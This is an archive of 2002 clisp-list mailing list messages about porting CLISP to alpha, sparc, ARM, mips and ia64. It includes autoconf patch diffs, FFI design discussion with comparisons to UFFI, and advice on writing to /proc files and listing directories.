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> On Mon, Feb 18, 2002 at 12:59:53AM -0500, Sam Steingold wrote:
> > this is a feature, not a bug.
> 
> After due reflection and experimentation, I have to say I disagree.  
> Maybe its not a bug.  It's certainly NOT a feature.

I just committed a patch which will make CLISP parse namestrings as you
expect.
To get the old behavior back, set *parse-namestring-dot-file* to :TYPE.

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> * In message <3C5C72F8.13B4B79C@x-ray.at>
> * On the subject of "[clisp-list] cygwin build fails ootb"
> * Sent on Sat, 02 Feb 2002 23:15:04 +0000
> * Honorable Reini Urban <rurban@x-ray.at> writes:
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> cygwin fails to build ootb with the current clisp ualarm() workaround.

what about now?  there have been reports that CLISP (both 2.28 & cvs)
now work under cygwin.

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Hi

I didn't know Clisp took a :buffered nil keyword for open.  It seems
this is the way to write to peculiar files like some of the ones under
/proc.  It fixes the problem I described in the last post.

Regards,
Peter


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I'd like to use a code walker with clisp.  I've used the walker code
in the CMU repository with ACL.  This was easy since the required
environment functions were already present in ACL.  Has anyone written
these for clisp?  Or perhaps there is another package I should be
using?

I am aware of the clocc ambler but could not understand the interface
it provides.  I was able to use the CMU package after looking at the
code for 5 minutes.

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Is there a searchable archive of the clisp-list?  If so, could someone
point me to a url?
Also, is there a temporary file function in clisp?  A function which
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On Tue, Mar 19, 2002 at 10:51:04AM -0500, Sam Steingold wrote:
> CLISP has to open with O_RDWR to use buffering, so :DIRECTION :OUTPUT
> means O_RDWR too.  This breaks write-only files, like Peter's /proc
> file.
> 
> I guess we should document "the obvious" - that one cannot use
> buffering on write-only files - and use O_WRONLY with :BUFFERED NIL
> :DIRECTION :OUTPUT.
> 

But the file isn't write only!  You *can* read from it.

ls -l /proc/sys/fs/binfmt_misc/PY ==>
-rw-r--r--   1 root     root            0 Mar 19 18:32 /proc/sys/fs/binfmt_misc/PY

cat /proc/sys/fs/binfmt_misc/PY ==>
enabled

interpreter /usr/bin/python
extension .py

I *speculate* as follows:

You can write() to it, but you have to do it all in one go (I think).
I believe full_write() [unixaux.d:301] is causing EINVAL, because it
tries to write() several times. The kernel which is generating the
content of the file, won't let you write anything but "-1" or "1" or
"0".  You can't write "-" then "1".  And you can't write "+1" either. 

This test results in the following output:
{
  int retv;
  int fd;
  char* msg1 = "11";

  fd = open("/proc/sys/fs/binfmt_misc/PY", 66, 420);
  retv = write (fd, msg1, 2);
  printf ("retv = %d\n", retv);
  printf ("errno is %d\n", errno);
  printf ("fsync returns %d - errno = %d\n", fsync (fd), errno);
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} ==>

retv = -1
errno is 22
fsync returns -1 - errno = 22

Changing msg1="11" to msg1="-1" results in this output:

retv = 2
errno is 0
fsync returns -1 - errno = 0

Which works. Obviously fsync is superfluous, here, but I'm surprised
it doesn't also set EINVAL in the second example.

Regards,
Peter


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On Tue, Mar 19, 2002 at 09:42:36AM +0100, Hoehle, Joerg-Cyril wrote:
> Hi,
> 
> > I didn't know Clisp took a :buffered nil keyword for open.  It seems
> > this is the way to write to peculiar files like some of the ones under
> > /proc.  It fixes the problem I described in the last post.
> 
> Do you know enough about Linux to enhance the heuristics that CLISP uses to discover whether to use buffering? There already was a changelog years ago saying something like "works better on /proc now".
> 
> Another solution (hack?) would be to special-case /proc completely on Linux?? Not clean, though. Special case /dev as well? And what next?
> 
> Regards,
> 	Jorg Hohle.

Hi

There are already a few special-cases for /proc in pathname.d,
including one with a comment about  /proc being a zoo filled with
strange animals :-)

I don't know if its possible to test a file for wether it will support
buffering io.  Also, there's nothing to stop the kernel developers
from dreaming up some new bizarre file in /proc which allows x but not
y.

It might be fun to try write an ffi definition for sysctl, but they
warn that it changes between kernels, and shouldn't be used by
applications :-(

Regards,
Peter


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Hi,

Sam Steingold wrote:
> What is c-array-ptr?

Thanks for bringing this to my attention, I didn't know about it - maybe it was not in the initial FFI developed years ago. I looked at the source since I couldn't understand it otherwise just from impnotes.

1. it's something needed, since it is e.g. appropriate for the typical char*argv[]: an array of unknown length, but which is NULL, 0 or \0 terminated (depending on its element type). In other words, it allows C string style conventions for other array types.

2. I don't know why there is this shortcut instead of (the hypothetical)
(c-ptr-null (c-array-ZERO-TERMINATED <elt-type>)) which would more fit the other FFI types. Note the c-ptr-NULL instead of just c-ptr behaviour (from peeking at the source).

2. However it's integration into CLISP seems incomplete to me. It always returns a VECTOR of element-type T, no specialized array type for characters or numbers, as the other arrays do. Therefore, C-STRING and (C-ARRAY-PTR CHARACTER) results differ. I consider this a bug, rather than a feature. There's no obvious reason (at least no documentation) for this deviation from the behaviour of the other C-ARRAY and C-ARRAY-MAX return types.

(:return-type (c-array-ptr character)) -> #(#\f #\o #\o)
(:return-type (c-ptr-null (c-array-max character 10))) -> "foo"
(:return-type c-string) -> "foo"


> why is only c-ptr acceptable as :out/:in-out?
Could you please elaborate? or provide an example.

> I would expect that c-ptr-null and c-array-ptr would be 
> acceptable too.
> 
> can you fix this?

I think I can fix the above IMHO misfeature (+/- Unicode translation) if you so wish. But you meant something else.

Regards,
	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE705216A19@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] ffi:c-array-ptr (was: c-string vs bounded buffers)"
> * Sent on Tue, 19 Mar 2002 16:57:22 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> > why is only c-ptr acceptable as :out/:in-out?
> Could you please elaborate? or provide an example.

an :OUT arg must be a c-ptr:

(def-call-out foo
  (:arguments (bar (c-ptr-null int) :out)))

does not work.

> > I would expect that c-ptr-null and c-array-ptr would be 
> > acceptable too.
> > 
> > can you fix this?
> 
> I think I can fix the above IMHO misfeature (+/- Unicode translation)
> if you so wish. But you meant something else.

what I meant, loosely, was making sure that the CLISP FFI is better
than the competition. :-)

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Hi,

Sam wrote:
> what I meant, loosely, was making sure that the CLISP FFI is better
> than the competition. :-)

I have currently very serious doubts about the possibility to achieve this goal. Here is what I just wrote to the UFFI mailing list.
UFFI is an FFI portability layer that currnetly works with AllegroCL, LispWorks and CMUCL.
http://uffi.med-info.com/manual/x91.htm

-------begin quote
o My greatest problem so far is that the UFFI is completely at odd with the CLISP FFI. I don't believe this can be blamed on one or the other (CLISP or UFFI).
CLISP provides a sophisticated view on functions and parameter passing. It's not dissimilar to CMUCL's def-alien-routine and its :in-out parameter.

(def-c-call-out gethostname
    (:arguments
     (name (c-ptr (c-array-max character #.MAXHOSTNAMELEN)) :out :alloca)
     (len size_t))
  (:return-type int))
The name will be (nth-value (gethostname MAXHOSTNAMELEN) 1).

An IDL (as in COM/CORBA) would declare something along:
  [out, is_size(len)] char[] name,
  [in]                size_t len
which is even more declarative and simplified.

I believe CLISP can be blamed for not providing a low-level view on function signatures. By low-level I mean one where neither :out modes nor lifetime are visible in the signature. The signature would map 1:1 from C.
This low-level API would be the one at which UFFI operates.

The result of a direct mapping to C (not possible with CLISP) is:
 + straight forward conversion of C declaration to Lisp routine, without reading the manual page and knowing what goes in and what goes out.
 - need to convert by hand to/from Lisp to foreign style strings (the C malediction)
 + flexibility, since parameter protocols can be really convoluted (esp. considering lifetime of objects and strings).
 - not suitable for COM/CORBA style signatures without rewriting: there, :out parameters are important.

So my belief is that UFFI can be blamed for not attempting to provide an abstract level of interfacing to the foreign world. It provides no more (and no less) than C level of interaction. I like to dream of a FFI-domain specific language (DSL) style of approach.

That doesn't mean that UFFI cannot be successful. I suppose you all know about "worse is better". UFFI works now with 3 implementations. Abstract level FFI may remain my dream for years.

Currently, I've serious doubts about whether a DSL for FFI is even possible without loss in flexibility or rather coverage of all situations (that is, the ability to cover even the weirdest parameter passing requirements, e.g. a char**name pointer to a buffer that you allocate and that the function will free at some time, but overwriting the pointer with one to another buffer on function return).
That's why a C-level portable FFI that UFFI implements is valuable now!

Regards,
	Jorg Hohle.


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Greetings,

I ran into a problem building CLISP from CVS (19-March-2002) on
Solaris 8. The build fails when I try to build modules. I am
able to build these same modules (and my own) under GNU/Linux.

The gcc version is 2.95.3 and was obtained from the Sun Freeware
site.

Thanks !


Here are fragments from the build script and log:

configure --prefix=/usr/local/CLISP \
   --with-module=clx/new-clx \
   --with-module=regexp \
   --with-module=wildcard \
   sun

cd sun

./makemake  \
   --prefix=/usr/local/CLISP \
   --with-module=clx/new-clx \
   --with-module=regexp \
   --with-module=wildcard \
   --with-readline \
   --with-gettext \
   --with-dynamic-ffi > Makefile
.
.
.
make
.
.
.
uniq -u < minitests.out > minitests.output.sparcuniq -u < minitetest
   '!' -s minitests.output.sparc-sun-solaris2.temake:
*** [check] Error 1

The file sun/avcall/minitests.output.sparc-sun-solaris2.8 contains the 
following:

Int f(Int,Int,Int):({1},{2},{3})->{6}
Int f(Int,Int,Int):({1},{2},{3})->{9}
J f(J,int,J):({47,11},2,{73,55})->{120,68}
J f(J,int,J):({47,11},2,{73,55})->{9,902231815}



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Hi,
> * In message <DFD875E85664D3118FA6080006277DE705216A79@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] CLISP FFI vs UFFI: an IMHO worse is better (lost?) battle"
> * Sent on Wed, 20 Mar 2002 11:26:58 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam wrote:
> > what I meant, loosely, was making sure that the CLISP FFI is better
> > than the competition. :-)
> 
> I have currently very serious doubts about the possibility to achieve
> this goal. Here is what I just wrote to the UFFI mailing list.
> UFFI is an FFI portability layer that currnetly works with AllegroCL,
> LispWorks and CMUCL.  http://uffi.med-info.com/manual/x91.htm

If UFFI exports some high-level functionality based on the low-level
implementation-specific interfaces, then you can make CLISP export a
compatible functionality.

If UFFI export a low-level functionality, you can use it to implement
some high-level CLISP-style UUFFI (-: Unified UFFI :-) which will
support CLISP and whatever UFFI supports.

Additionally, you can improve CLISP FFI so suite your tastes.

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> * In message <3C988994.5020209@bcpl.net>
> * On the subject of "[clisp-list] Building CLISP Modules on Solaris 8"
> * Sent on Wed, 20 Mar 2002 08:07:32 -0500
> * Honorable bleone@bcpl.net writes:
>
> I ran into a problem building CLISP from CVS (19-March-2002) on

if you use CLISP from CVS, you should subscribe to clisp-devel and post
there.

> The gcc version is 2.95.3 and was obtained from the Sun Freeware site.

are you sure this is not gcc 3?

> uniq -u < minitests.out > minitests.output.sparcuniq -u < minitetest
>    '!' -s minitests.output.sparc-sun-solaris2.temake:
> *** [check] Error 1
> 
> The file sun/avcall/minitests.output.sparc-sun-solaris2.8 contains the
> following:
> 
> Int f(Int,Int,Int):({1},{2},{3})->{6}
> Int f(Int,Int,Int):({1},{2},{3})->{9}
> J f(J,int,J):({47,11},2,{73,55})->{120,68}
> J f(J,int,J):({47,11},2,{73,55})->{9,902231815}

I think you can ignore these FFI problems.
the last command was something like
cd avcall && make && make check && make install ....
cut and paste removing "make check"

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This patch should fix the build on certain alphas. I don't have one to test, 
but it looks correct.

--- clisp-2.28/src/autoconf/aclocal.m4.old      Wed Mar 20 15:28:40 2002
+++ clisp-2.28/src/autoconf/aclocal.m4  Wed Mar 20 15:29:07 2002
@@ -748,7 +748,7 @@
   i[4567]86 )
     host_cpu=i386
     ;;
-  alphaev[4-7] | alphaev56 | alphapca5[67] )
+  alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] )
     host_cpu=alpha
     ;;
   hppa1.0 | hppa1.1 | hppa2.0 )


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I was looking through the avcall source code looking for a Sparc build 
problem when I saw this in avcall.h.in:

#if defined(__hppa__) && defined(__GNUC__) && (__GNUC_MINOR__ < 7)
                                  __AV_OLDGCC_STRUCT_RETURN |
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I'm almost certain this is wrong. __GNUC_MINOR__ is the minor version of GCC, 
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I am seeing a problem building on sparc with gcc (Solaris and Linux). avcall 
fails it's structure tests, but I believe I have found a solution.

When compiling with -O2 or better, the configure test for pcc non-reentrant 
struct return convention is optimized away and always returns true. This 
causes avcall to believe it can use PCC but it cannot - and so bad things 
happen.

I have attached a patch I believe fixes the issue, by clearing CFLAGS before 
running the test:

--- aclocal.m4.old      Thu Mar 21 03:10:02 2002
+++ aclocal.m4  Thu Mar 21 03:11:43 2002
@@ -838,6 +838,8 @@
 dnl
 AC_DEFUN(CL_PCC_STRUCT_RETURN,
 [AC_CACHE_CHECK([for pcc non-reentrant struct return convention], 
cl_cv_c_struct_return_static, [
+save_CFLAGS="$CFLAGS"
+CFLAGS=""
 AC_TRY_RUN([typedef struct { int a; int b; int c; int d; int e; } foo;
 foo foofun () { static foo foopi = {3141,5926,5358,9793,2385}; return foopi; 
}
 foo* (*fun) () = (foo* (*) ()) foofun;
@@ -854,6 +856,7 @@
 dnl When cross-compiling, don't assume anything.
 dnl There are even weirder return value passing conventions than pcc.
 cl_cv_c_struct_return_static="guessing no")
+CFLAGS="$save_CFLAGS"
 ])
 case "$cl_cv_c_struct_return_static" in
   *yes) AC_DEFINE(__PCC_STRUCT_RETURN__) ;;


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I would like to enumerate the directories and files in a given directory
under Linux. The only way I have found of doing this with CLISP is by using
readdir() & friends via the Linux bindings. Is this correct? Are there
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Will Newton wrote:
> problem when I saw this in avcall.h.in:
> #if defined(__hppa__) && defined(__GNUC__) && (__GNUC_MINOR__ < 7)
>                                   __AV_OLDGCC_STRUCT_RETURN |
> #endif
>=20
> I'm almost certain this is wrong. __GNUC_MINOR__ is the minor=20
> version of GCC, so with 3.0.4 it is 0.

This code was written at a time when gcc-2.5.8, 2.6.x and 2.7.2 were in =
common use (gcc-2.7.0/1 were somewhat buggy IIRC).

I don't know what a good checking heuristic would be. Maybe drop the =
GNUC_MINOR check completely and hope old, once solved bugs don't =
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Paolo Amoroso wrote:
> I would like to enumerate the directories and files in a 
> given directory under Linux. 

(directory "*" :full t)
and
(directory "*/")
You need two calls to get both files and directories with CLISP.

DIRECTORY is Common Lisp standard

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On Thursday 21 Mar 2002 10:18 am, you wrote:

> I don't know what a good checking heuristic would be. Maybe drop the
> GNUC_MINOR check completely and hope old, once solved bugs don't reappear
> in gcc-3.x.y. Sometimes in history, simplification does wonders.

This might work:

#if defined(__hppa__) && defined(__GNUC__) && (__GNUC__MAJOR__ < 3) && 
(__GNUC_MINOR__ < 7)
                                  __AV_OLDGCC_STRUCT_RETURN |
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I believe this fixes a problem I have seen reported building on ARM. Again, 
untested, but looks correct.

--- aclocal.m4.old      Thu Mar 21 13:12:36 2002
+++ aclocal.m4  Thu Mar 21 13:15:45 2002
@@ -700,6 +700,9 @@
   c1 | c2 | c32 | c34 | c38 | c4 )
     host_cpu=convex
     ;;
+  arm* )
+    host_cpu=arm
+    ;;
 changequote([,])dnl
   mips )
     AC_CACHE_CHECK([for 64-bit MIPS], cl_cv_host_mips64, [
@@ -759,6 +762,9 @@
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   c1 | c2 | c32 | c34 | c38 | c4 )
     host_cpu=convex
+    ;;
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     ;;
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> * In message <E16o1Wr-00066n-00.2002-03-21-12-18-49@mail1.svr.pol.co.uk>
> * On the subject of "Re: [clisp-list] avcall on hppa"
> * Sent on Thu, 21 Mar 2002 12:20:04 +0000
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> On Thursday 21 Mar 2002 10:18 am, you wrote:
> 
> > I don't know what a good checking heuristic would be. Maybe drop the
> > GNUC_MINOR check completely and hope old, once solved bugs don't reappear
> > in gcc-3.x.y. Sometimes in history, simplification does wonders.
> 
> This might work:
> 
> #if defined(__hppa__) && defined(__GNUC__) && (__GNUC__MAJOR__ < 3) && 
> (__GNUC_MINOR__ < 7)
>                                   __AV_OLDGCC_STRUCT_RETURN |
> #endif

Actually, there is no __GNUC__MAJOR__.
__GNUC__ is the major version.
thanks for the bug report!

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> * In message <E16ni37-0005tT-00.2002-03-20-15-30-50@mail12.svr.pol.co.uk>
> * On the subject of "[clisp-list] Build fix for alpha"
> * Sent on Wed, 20 Mar 2002 15:32:04 +0000
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> This patch should fix the build on certain alphas.
is it broken?

> I don't have one to test, but it looks correct.
> 
> --- clisp-2.28/src/autoconf/aclocal.m4.old      Wed Mar 20 15:28:40 2002
> +++ clisp-2.28/src/autoconf/aclocal.m4  Wed Mar 20 15:29:07 2002
> @@ -748,7 +748,7 @@
>    i[4567]86 )
>      host_cpu=i386
>      ;;
> -  alphaev[4-7] | alphaev56 | alphapca5[67] )
> +  alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] )
>      host_cpu=alpha
>      ;;
>    hppa1.0 | hppa1.1 | hppa2.0 )
> 

why not just have

    alpha*)
      host_cpu=alpha
    ;;

??

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Another build fix, this time for mips. Looks like a no-brainer - the file 
linux/cachectl.h does not exist on any machine I have access to.

--- clisp-2.28.old/ffcall/callback/trampoline_r/trampoline.c    Fri Mar 15 
19:26:15 2002
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15:14:43 2002
@@ -247,7 +247,7 @@
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 #ifdef linux
-#include <linux/cachectl.h>
+#include <asm/cachectl.h>
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clisp is failing to build on ia64. The problem is in sigsegv, where test3.c 
seems to hit an infinite loop. Looking at the code it appears there is no 
provision for ia64 in the code, so it may not even be supported. ffcall does 
have ia64 support however.

Has clisp ever been built on ia64?


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> * In message <E16ntVf-0003nS-00.2002-03-21-03-45-04@imailg1.svr.pol.co.uk>
> * On the subject of "[clisp-list] avcall on sparc"
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>
> I am seeing a problem building on sparc with gcc (Solaris and Linux).

I think the problem is only on Solaris with gcc3.
I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4.

> avcall  fails it's structure tests, but I believe I have found a solution.
thanks!

> When compiling with -O2 or better, the configure test for pcc
> non-reentrant struct return convention is optimized away and always
> returns true. This causes avcall to believe it can use PCC but it
> cannot - and so bad things happen.
interesting.

> I have attached a patch I believe fixes the issue, by clearing CFLAGS
> before running the test:

did you test it?
does it work?
I do not have a solaris with gcc3 - Ray, could you please check that
this indeed fixes your problem?

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On Thursday 21 Mar 2002 3:29 pm, you wrote:

> > This patch should fix the build on certain alphas.
>
> is it broken?

On certain alphas, yes.

> why not just have
>
>     alpha*)
>       host_cpu=alpha
>     ;;

Yes, that works too. Keeping it explicit means if e.g. alpha128 is released 
in 2 years time it will not be caught by that condition. A matter of taste.


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On Thursday 21 Mar 2002 3:45 pm, Sam Steingold wrote:

> I think the problem is only on Solaris with gcc3.
> I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4.

The original report I got was on Debian (not sure of the compiler). I tested 
it on Solaris and gcc 2.95.2 and it showed up also.

> did you test it?
> does it work?

Yeah. I just got confirmation that it fixes the problem.


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I built CLISP RPMs on RH7.2, they are available from the usual places.


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <E16ntVf-0003nS-00.2002-03-21-03-45-04@imailg1.svr.pol.co.uk>
    >> * On the subject of "[clisp-list] avcall on sparc"
    >> * Sent on Thu, 21 Mar 2002 03:46:18 +0000
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    >> 
    >> I am seeing a problem building on sparc with gcc (Solaris and Linux).

    Sam> I think the problem is only on Solaris with gcc3.
    Sam> I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4.

    >> avcall  fails it's structure tests, but I believe I have found a solution.
    Sam> thanks!

    >> When compiling with -O2 or better, the configure test for pcc
    >> non-reentrant struct return convention is optimized away and always
    >> returns true. This causes avcall to believe it can use PCC but it
    >> cannot - and so bad things happen.
    Sam> interesting.

    >> I have attached a patch I believe fixes the issue, by clearing CFLAGS
    >> before running the test:

    Sam> did you test it?
    Sam> does it work?
    Sam> I do not have a solaris with gcc3 - Ray, could you please check that
    Sam> this indeed fixes your problem?

Yes indeed!  I'll try it out asap.

Ray


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> * In message <E16o4Ze-0005wo-00.2002-03-21-15-33-54@mail2.svr.pol.co.uk>
> * On the subject of "[clisp-list] ia64 build problems"
> * Sent on Thu, 21 Mar 2002 15:35:10 +0000
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>
> clisp is failing to build on ia64. The problem is in sigsegv, where
> test3.c seems to hit an infinite loop. Looking at the code it appears
> there is no provision for ia64 in the code, so it may not even be
> supported. ffcall does have ia64 support however.
> 
> Has clisp ever been built on ia64?

dunno.  can you fix sigsegv?

PS.  Thanks for your patches - who are you?
     Why are you building CLISP on all these platforms?

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On Thursday 21 Mar 2002 4:33 pm, Sam Steingold wrote:

> dunno.  can you fix sigsegv?

I'll have a go, but I have never even seen a ia64 machine. :)

> PS.  Thanks for your patches - who are you?
>      Why are you building CLISP on all these platforms?

New Debian maintainer of clisp. Trying to get it building on as many arches 
as possible so Debian 3.0 can ship with it.


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> * In message <E16o64I-00065T-00.2002-03-21-17-09-39@mail11.svr.pol.co.uk>
> * On the subject of "Re: [clisp-list] ia64 build problems"
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> On Thursday 21 Mar 2002 4:33 pm, Sam Steingold wrote:
> 
> > dunno.  can you fix sigsegv?
> I'll have a go, but I have never even seen a ia64 machine. :)
thanks.

> > PS.  Thanks for your patches - who are you?
> >      Why are you building CLISP on all these platforms?
> 
> New Debian maintainer of clisp. Trying to get it building on as many
> arches as possible so Debian 3.0 can ship with it.

cool!
when is Debian 3.0 due?

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>>>>> "Will" == Will Newton <will@misconception.org.uk> writes:

    Will> On Thursday 21 Mar 2002 3:45 pm, Sam Steingold wrote:
    >> I think the problem is only on Solaris with gcc3.
    >> I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4.

    Will> The original report I got was on Debian (not sure of the compiler). I tested 
    Will> it on Solaris and gcc 2.95.2 and it showed up also.

    >> did you test it?
    >> does it work?

    Will> Yeah. I just got confirmation that it fixes the problem.

Sorry, not for me.  I had to hand-apply the patch.  I assume it was
for ffcall/autoconf/aclocal.m4.  The result is:

AC_DEFUN(CL_PCC_STRUCT_RETURN,
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save_CFLAGS="$CFLAGS"
CFLAGS=""
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foo foofun () { static foo foopi = {3141,5926,5358,9793,2385}; return foopi; }
foo* (*fun) () = (foo* (*) ()) foofun;
int main()
{ foo foo1;
  foo* fooptr1;
  foo foo2;
  foo* fooptr2;
  foo1 = foofun(); fooptr1 = (*fun)(&foo1);
  foo2 = foofun(); fooptr2 = (*fun)(&foo2);
  exit(!(fooptr1 == fooptr2 && fooptr1->c == 5358));
}], cl_cv_c_struct_return_static=yes, rm -f core
cl_cv_c_struct_return_static=no,
dnl When cross-compiling, don't assume anything.
dnl There are even weirder return value passing conventions than pcc.
cl_cv_c_struct_return_static="guessing no")
CFLAGS="$ave_CFLAGS"
])
case "$cl_cv_c_struct_return_static" in
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  *no) ;;
esac

When I run configure, I see that it says:

checking for pcc non-reentrant struct return convention... (cached) yes

which is the desired answer, I guess.

I still get the minitests error in avcall:

Int f(Int,Int,Int):({1},{2},{3})->{6}
Int f(Int,Int,Int):({1},{2},{3})->{902231815}
J f(J,int,J):({47,11},2,{73,55})->{120,68}
J f(J,int,J):({47,11},2,{73,55})->{902231815,-4267884}

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> * In message <4nzo11u8dm.fsf@rtp.ericsson.se>
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> >>>>> "Will" == Will Newton <will@misconception.org.uk> writes:
> 
>     Will> On Thursday 21 Mar 2002 3:45 pm, Sam Steingold wrote:
>     >> I think the problem is only on Solaris with gcc3.
>     >> I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4.
> 
>     Will> The original report I got was on Debian (not sure of the compiler). I tested 
>     Will> it on Solaris and gcc 2.95.2 and it showed up also.
> 
>     >> did you test it?
>     >> does it work?
> 
>     Will> Yeah. I just got confirmation that it fixes the problem.
> 
> Sorry, not for me.  I had to hand-apply the patch.  I assume it was
> for ffcall/autoconf/aclocal.m4.  The result is:

actually, believe it or not, ffcall/autoconf/aclocal.m4 is a generated
file.  :-)

please do `cvs up` and recomfigure from scratch.

> checking for pcc non-reentrant struct return convention... (cached) yes
> which is the desired answer, I guess.
probably not :-)

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> please do `cvs up` and recomfigure from scratch.

Do that.  configure finished without complaint.  Hurray!!!!!!!

    >> checking for pcc non-reentrant struct return convention... (cached) yes
    >> which is the desired answer, I guess.
    Sam> probably not :-)

Yep.

It's building as I type.  I'll let you know in a bit how it goes.

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On Thursday 21 Mar 2002 5:40 pm, Raymond Toy wrote:

> Sorry, not for me.  I had to hand-apply the patch.  I assume it was
> for ffcall/autoconf/aclocal.m4.  The result is:

It was for src/autoconf/aclocal.m4.
Doing make -f Makefile.devel configures seems to propogate this change.

> checking for pcc non-reentrant struct return convention... (cached) yes

Try removing config.cache.

> which is the desired answer, I guess.

I don't think it is. I don't even know what pcc non-reentrant struct return 
convention is, but I'm pretty sure neither Solaris or Sparc-Linux do it.


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Has any progress been made on the long standing build problems on 
Sparc/Linux? m68k/Linux also seems to suffer from a similar problem. I 
suspected a struct alignment issue but there doesn't seem to be any involved. 

Anyway, if anyone has any hints, please let me know, it looks like a tricky 
one.

Thanks,


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>>>>> "Raymond" == Raymond Toy <toy@rtp.ericsson.se> writes:

>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    Sam> please do `cvs up` and recomfigure from scratch.

    Raymond> Do that.  configure finished without complaint.  Hurray!!!!!!!

    >>> checking for pcc non-reentrant struct return convention... (cached) yes
    >>> which is the desired answer, I guess.
    Sam> probably not :-)

    Raymond> Yep.

    Raymond> It's building as I type.  I'll let you know in a bit how it goes.

make check passes.  Hurray!!!!!

Ray


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> * In message <E16o8ci-00081e-00.2002-03-21-19-53-21@cmailg6.svr.pol.co.uk>
> * On the subject of "[clisp-list] Build problems on Sparc/Linux"
> * Sent on Thu, 21 Mar 2002 19:54:28 +0000
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> Has any progress been made on the long standing build problems on
> Sparc/Linux? m68k/Linux also seems to suffer from a similar problem. I
> suspected a struct alignment issue but there doesn't seem to be any
> involved.
> 
> Anyway, if anyone has any hints, please let me know, it looks like a
> tricky one.

all our "cumulative knowledge" is here:
http://sourceforge.net/tracker/index.php?func=detail&aid=223193&group_id=1355&atid=101355

it boils down to the fact that CLISP works with glibc2.0 but not with
glibc2.2.
It would be nice if you could do something...

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On Thursday 21 Mar 2002 9:54 pm, Sam Steingold wrote:

> all our "cumulative knowledge" is here:
> http://sourceforge.net/tracker/index.php?func=detail&aid=223193&group_id=13
>55&atid=101355

It seems the crash occurs during a type cast, which makes me think there may 
be some alignment issue at work.

> it boils down to the fact that CLISP works with glibc2.0 but not with
> glibc2.2.

Hmm, the spvw_garcol.d file where the crash occurs does not include any glibc 
header.

> It would be nice if you could do something...

I will have a look at it certainly, but all the comments are in german, of 
which I have quite a poor grasp.



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> * In message <E16oDl1-00014V-00.2002-03-22-01-22-16@imailg3.svr.pol.co.uk>
> * On the subject of "Re: [clisp-list] Build problems on Sparc/Linux"
> * Sent on Fri, 22 Mar 2002 01:23:30 +0000
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>
> On Thursday 21 Mar 2002 9:54 pm, Sam Steingold wrote:
> 
> > all our "cumulative knowledge" is here:
> > http://sourceforge.net/tracker/index.php?func=detail&aid=223193&group_id=13
> >55&atid=101355
> 
> It seems the crash occurs during a type cast, which makes me think
> there may be some alignment issue at work.

well, this is a new theory - it might work :-)

What _I_ would do is make sure that things like TheRecord &c work
correctly (see lispbibl.d - the comments are in English, thanks to
Stefan Kain and Oliver Nee).

You would have to figure out what type_pointable() _is_ on your
platform, then what it _should_ be, and, finally, make sure these are
the same.

> > it boils down to the fact that CLISP works with glibc2.0 but not with
> > glibc2.2.
> 
> Hmm, the spvw_garcol.d file where the crash occurs does not include
> any glibc header.

it does include lispbibl.d, which, in turn, includes all sorts of
stuff.

the fact remains - the CLISP works just fine with glibc2.0 (any CLISP
version of the last 3 years) but fails with glibc2.2 (again, any CLISP
version)

> > It would be nice if you could do something...
> 
> I will have a look at it certainly, but all the comments are in
> german, of which I have quite a poor grasp.

Stefan, could you please kindly expedite translating the spvw*.d files?
Thanks!

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Will Newton <will@misconception.org.uk> writes:

> Has any progress been made on the long standing build problems on 
> Sparc/Linux? m68k/Linux also seems to suffer from a similar problem. I 
> suspected a struct alignment issue but there doesn't seem to be any involved. 
> 
> Anyway, if anyone has any hints, please let me know, it looks like a tricky 
> one.

Are the warnings below (from the bug report) known to be harmless?
(assuming they're still present)

>>make 
>...lots of messages, among which are: 
>lispbibl.d:6864: warning: register used for two global register variables 
>lispbibl.d:6736: warning: volatile register variables don't work as you might wish 
>lispbibl.d:758: warning: call-clobbered register used for global register variable 

The last one sounds a little troubling.  Maybe the STACK register is
just getting clobbered??  (I thought alignment problems caused SIGBUS,
not SIGSEGV.)


Todd


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On Thu, 21 Mar 2002 11:23:50 +0100, Jorg Hohle wrote:

> (directory "*" :full t)
> and
> (directory "*/")
> You need two calls to get both files and directories with CLISP.

It looks like I missed the DIRECTORY information in the CLISP impnotes...


> DIRECTORY is Common Lisp standard

Yes, but I also missed an important detail in the CLHS entry for DIRECTORY:

   Function DIRECTORY
   
   Syntax:
   
   directory pathspec &key => pathnames
   
   Arguments and Values:

   pathspec---a pathname designator, which may contain wild components.
                                                       ^^^^
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On Friday 22 Mar 2002 2:09 am, Sam Steingold wrote:

> well, this is a new theory - it might work :-)

Probably better than anything I have right now - the addresses seem to be 
aligned (misalignment is the most common cause of SIGBUS on sparc) but out of 
range - i.e. mapped well above the process address space.

The only thing I can think of that would directly affect this situation in 
glibc is malloc, so I think I may spend tomorrow looking at changelogs.


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On Friday 22 Mar 2002 4:15 am, Todd Sabin wrote:

> Are the warnings below (from the bug report) known to be harmless?
> (assuming they're still present)

Not as far as I am aware. I also get some warnings on x86, I'll compare the 
two. But again this seems unlikely to be affected by glibc...

> The last one sounds a little troubling.  Maybe the STACK register is
> just getting clobbered??  (I thought alignment problems caused SIGBUS,
> not SIGSEGV.)

Hmm, I'll have a look. SIGBUS is caused by access outside the address range, 
SIGSEGV is caused by access to unallocated memory.


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> -----Original Message-----
> From: clisp-list-admin@lists.sourceforge.net
> Subject: Re: [clisp-list] Build problems on Sparc/Linux
>
>
> On Friday 22 Mar 2002 4:15 am, Todd Sabin wrote:
>
> > Are the warnings below (from the bug report) known to be harmless?
> > (assuming they're still present)
>
> Not as far as I am aware. I also get some warnings on x86, I'll
